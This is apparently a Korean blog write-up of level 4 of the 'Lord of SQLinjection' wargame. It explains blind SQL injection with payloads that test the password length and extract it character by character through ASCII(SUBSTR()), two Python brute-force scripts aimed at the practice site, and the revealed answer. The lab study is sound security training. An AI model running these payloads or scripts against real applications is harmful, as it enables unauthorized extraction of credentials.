IT Security

Lord of Sqlinjection - 4번 ORC

로픽 2019. 11. 22. 00:01
300x250

lord of sqlinjection 4번 ORC

pw 파라미터 값을 찾아야 풀 수 있는 문제입니다.

 

Hello admin라는 문구가 SQL 쿼리에 참/거짓에 따라 출력되기 때문에 Blind Sql injection을 통해서

pw 파라미터 값을 유추해야합니다.

첫번째, pw 파라미터의 length를 확인합니다.

두번째, brute force로 pw 파라미터 값을 찾습니다.

 

 

*** 정답 ***

더보기

패스워드 길이 : ?pw=1' or length(pw)=8%23

패스워드 확인(1자리씩) : ?pw=1' or id='admin' and ASCII(SUBSTR(pw, 자리수, 1))=아스키코드%23

패스워드 : 295d5844

 

id='admin' and pw='1' -> false

length(pw)=8 -> true

false or true -> true를 리턴하여 Hello admin 출력

 

SUBSTR() 함수로 pw 파라미터 문자를 하나씩 추출하여 아스키코드를 비교하여 값을 찾는다

 

파이썬 코드를 이용해서 brueforce 결과 -> 295d5844

 

파이썬 - Password 길이

cookie=dict(PHPSESSID="세션ID") 
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"

print("\n\n#### Starting SQL Injection 4번 length ####\n")
result=''
for i in range(1, 20):  # 문자열 길이 20까지 확인
        param = "?pw=1' or length(pw)=" + str(i) + "%23"
        new_url = url + param
        req = requests.get(new_url, cookies=cookies)

        print("length : " + str(i) + " 대입.....")
        if req.text.find("<h2>Hello admin</h2>") > 0:
            print("pw length is '" + str(i) + "'")
            break

 

파이썬 - Password Brute_force

cookies=dict(PHPSESSID="세션ID")
url="https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
abc = string.digits + string.ascii_letters
result = ''
print("\nLord of SqlInjection 문제4 패스워드 BruteForce")

for i in range(1, 9):
    print(str(i) + "st char.....")
    for a in abc:
        # ASCII, ord => 아스키코드로 변경하는 함수
        param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw, " + str(i) + ", 1))=" + str(ord(a)) + "%23"
        new_url = url + param
        req = requests.get(new_url, cookies=cookies)

        print(param)
        if req.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i) + "st char is '" + a + "'")
            result += a
            break

print('=' * 20)
print("Password : " + result)
반응형

'IT Security' 카테고리의 다른 글

Lord of Sqlinjection - 6번 DARKELF  (0) 2019.11.27
Lord of Sqlinjection - 5번 WOLFMAN  (0) 2019.11.24
Lord of Sqlinjection - 3번 GOBLIN  (0) 2019.11.19
Lord of Sqlinjection - 2번 COBOLT  (0) 2019.11.18
Lord of Sqlinjection - 1번 GREMLIN  (0) 2019.11.18